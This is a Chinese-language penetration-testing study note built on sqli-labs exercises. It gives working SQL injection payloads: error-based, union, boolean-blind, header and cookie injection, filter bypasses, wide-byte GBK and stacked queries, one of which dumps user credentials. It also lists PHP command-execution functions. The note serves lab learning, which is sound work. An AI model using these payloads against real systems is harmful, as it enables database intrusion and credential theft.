渗透笔记2

目录

SQL注入

报错注入

updatexml()函数

常用报错注入函数

[Less-1 联合查询注入](#Less-1 联合查询注入)

[Less-5 布尔盲注](#Less-5 布尔盲注)

HTTP头注入与绕过

[Less-18 User-Agent注入](#Less-18 User-Agent注入)

[Less-19 Referer注入](#Less-19 Referer注入)

[Less-20 Cookie注入](#Less-20 Cookie注入)

[Less-23 注释符绕过](#Less-23 注释符绕过)

[Less-25 双写绕过](#Less-25 双写绕过)

宽字节与堆叠注入

[Less-32 宽字节注入](#Less-32 宽字节注入)

[Less-37 POST宽字节](#Less-37 POST宽字节)

[Less-38 堆叠注入](#Less-38 堆叠注入)

编码对比

ThinkPHP漏洞

MySQL绕过技术总结PHP常用命令执行函数

PHP常用命令执行函数

回调函数


SQL注入

截断函数

  • substr(str, start, length) / substring()
  • left(str, length) / right(str, length)
  • mid(str, start, length)

判断函数

  • length(str) - 返回字符串长度
  • ascii(char) - 返回字符的ASCII值
  • if(condition, true_val, false_val) - 条件判断

关键数据库表

information_schema:

  • SCHEMATA - 记录所有数据库名
  • TABLES - 记录所有表名
  • COLUMNS - 记录所有列名

报错注入

updatexml()函数

复制代码
http://localhost/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e,user(),0x7e),2)--+

常用报错注入函数

  • extractvalue() - XPath语法错误,最多32位
  • updatexml() - XPath错误,最多32位
  • floor()+rand()+group by - 主键重复报错
  • exp() - 数值溢出(需MySQL 5.5.5+)
  • geometrycollection()/multipoint()/polygon() - 几何函数报错
  • NAME_CONST() - 重复列名报错

Less-1 联合查询注入

  1. 判断注入点
  2. 判断列数
  3. 判断回显位置
  4. 获取当前数据库
  5. 获取所有表名
  6. 获取users表的列名
  7. 获取账号密码

Less-5 布尔盲注

页面只有两种状态(正确/错误),需要通过布尔判断逐个字符获取数据。

思路

  1. 猜测数据库名长度:?id=1' and length(database())=8--+
  2. 逐个猜解字符:?id=1' and ascii(substr(database(),1,1))=115--+
  3. 使用Burp Intruder或Python脚本自动化

HTTP头注入与绕过

Less-18 User-Agent注入

注入点在User-Agent头:

复制代码
POST /sqli/Less-18/
User-Agent: ' OR extractvalue(1,concat('!',database())) OR '
uname=admin&passwd=123&submit=Submit

Less-19 Referer注入

注入点在Referer头,方法同Less-18

Less-20 Cookie注入

Cookie值直接带入SQL查询:

复制代码
Cookie: uname=admin' union select 1,user(),3#

Less-23 注释符绕过

过滤了#和--+,使用;%00或闭合方式绕过:

复制代码
?id=-1' union select 1,2,3 or '1'='1

Less-25 双写绕过

过滤了or和and,使用双写绕过:

复制代码
?id=-1' union select 1,group_concat(username,0x3a,passwoorrd),3 from users--+

宽字节与堆叠注入

Less-32 宽字节注入

GBK编码中,两个字节代表一个汉字。当输入%df'时:

  • %df与\(0x5C)组合成%df%5c

  • 这个组合在GBK中被识别为汉字運

  • 单引号逃逸出来

    ?id=-1%df' union select 1,user(),3--+

Less-37 POST宽字节

复制代码
uname=admin%df'#
passwd=123

Less-38 堆叠注入

堆叠注入可以执行多条SQL语句,使用;分隔。

复制代码
?id=1';insert into users(id,username,password) values(100,'test','123')--+
  • 不适用union/select/insert
  • 适用于文件操作、修改数据等场景

编码对比

编码方式 特点
GBK 汉字占2字节,固定长度
UTF-8 可变长编码,汉字占3字节
Unicode 不可变长

ThinkPHP漏洞

  1. 下载ThinkPHP 5.0.15源码

  2. Windows环境配置:

  • 将framework目录重命名为thinkphp
  • 配置虚拟主机指向public目录
  1. 虚拟主机配置:

    <VirtualHost *:80>
    DocumentRoot "D:/tp5/public"
    ServerName tp5.com

MySQL绕过技术总结PHP常用命令执行函数

  1. 编码绕过:16进制、URL编码
  2. 注释绕过 :/**/、/*!*/
  3. 大小写绕过
  4. 双写绕过
  5. 特殊字符绕过 :%0a、%09
  6. 宽字节绕过

PHP常用命令执行函数

函数 说明
system() 直接执行命令并输出结果
exec() 执行命令,需echo输出
shell_exec() 执行命令,返回结果字符串
passthru() 直接输出命令执行结果
proc_open() 进程控制,更灵活
popen() 打开进程管道
eval() 执行PHP代码
assert() 执行PHP代码(PHP 7中变更)

回调函数

  • call_user_func()
  • call_user_func_array()
  • array_map()
  • usort() / uasort()
相关推荐
志尊宝1 小时前
Vue3 零基础每日笔记(071):暗黑模式与主题切换——CSS 变量 + Element Plus 暗黑方案
前端·css·笔记·vue·html·前端开发·软件开发
沪上企服通3 小时前
历史账套科目重映射与规则版本重算:旧账梳理的“口径复位”工程
笔记·架构
Go Work7 小时前
2026 Cadence SPB 24.1中文版安装图文详解(附安装包)
经验分享·笔记
ACP广源盛139246256737 小时前
HDMI2.0 转 DP1.4 桥接方案评估:国产 GSV2125C@ACP 芯片选型笔记
笔记·硬件架构·hdmi·type-c·国产芯片
龙仔7258 小时前
RustDesk 自建服务器 Key 强校验配置笔记
运维·服务器·笔记
悟乙己8 小时前
AFAC2026 赛题四金融长文本 Agent竞赛学习笔记:赛题解析(一)
笔记·学习·金融
PC2005-cloud8 小时前
MySQL学习笔记:GTID 主从复制,从原理到实践,告别传统 Binlog+Position 的痛点
笔记·学习·mysql
悟乙己10 小时前
AFAC2026 赛题四金融长文本 Agent竞赛学习笔记:关联技术(二)
笔记·学习·金融
yi01111 小时前
LeetCode 424. 替换后的最长重复字符|不定长滑动窗口:如何判断窗口是否合法?
笔记·python·算法·leetcode·双指针·滑动窗口
杨逢昌工厂6S管理11 小时前
116——杨逢昌:归位三定闭环法的旺季轻量化执行方案与工具清单
经验分享·笔记·职场和发展·学习方法